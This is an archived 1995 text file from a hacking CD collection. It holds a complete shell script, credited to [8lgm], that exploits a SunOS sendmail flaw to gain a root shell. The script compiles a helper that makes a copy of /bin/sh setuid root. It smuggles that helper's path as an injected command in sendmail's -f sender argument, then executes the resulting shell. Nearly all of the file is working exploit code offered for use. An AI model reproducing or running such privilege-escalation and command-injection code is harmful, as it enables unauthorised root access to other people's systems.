home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / Hack / UNIX / 8_SUID.ZIP / 8_SUID.TXT
Text File  |  1996-06-23  |  2KB  |  78 lines

  1.  
  2.  
  3. **************************************************************************
  4.    HACK: Create suid root shells with sendmail(8)
  5.  System: SunOS
  6.  Source: [8lgm] at webserv@FOUR.net
  7.    Date: Aug 24,1995
  8. **************************************************************************
  9.  
  10. ropt:
  11. #!/bin/sh
  12. #
  13. # Syntax: roption host
  14. #
  15. # host is any system running sendmail (except localhost).
  16. #
  17. # This exploits a flaw in SunOS sendmail(8), and attempts
  18. # create a suid root shell
  19. #
  20. # Written 1995 by [8LGM]
  21. # Please do not use this script without permission.
  22. #
  23.  
  24. PROG="`basename $0`"
  25. PATH=/usr/ucb:/usr/bin:/bin      export PATH
  26. IFS=" "                          export IFS
  27.  
  28. # Check args
  29. if [ $# -ne 1 ]; then
  30.         echo "Syntax: $PROG host"
  31.         exit 1
  32. fi
  33.  
  34. # Check we're on SunOS
  35. if [ "x`uname -s`" != "xSunOS" ]; then
  36.         echo "Sorry, this only works on SunOS"
  37.         exit 1
  38. fi
  39.  
  40. PROG="`basename $0`"
  41.  
  42. EXECME=/tmp/HotterThanMojaveInMyHeart
  43.  
  44. # Create EXECME.c
  45.  
  46. cat > $EXECME.c << 'EOF'
  47. main(argc,argv)
  48. int argc;
  49. char *argv[];
  50. {
  51.         chown("/tmp/InfamousAngel", 0, 0);
  52.         chmod("/tmp/InfamousAngel", 04755);
  53. }
  54. EOF
  55.  
  56. cc -o $EXECME $EXECME.c
  57.  
  58. # Check we have EXECME
  59.  
  60. if [ ! -x $EXECME ]; then
  61.         echo "$PROG: couldnt compile $EXECME.c - check it out"
  62.         exit 1
  63. fi
  64.  
  65. /bin/cp /bin/sh /tmp/InfamousAngel
  66. # Run sendmail
  67.  
  68. /usr/lib/sendmail -oR$1 -f";$EXECME;" -t << 'EOF'
  69. To: No1InParticular
  70.  
  71. Hows it goin
  72. EOF
  73.  
  74. exec /tmp/InfamousAngel
  75.  
  76.  
  77.  
  78.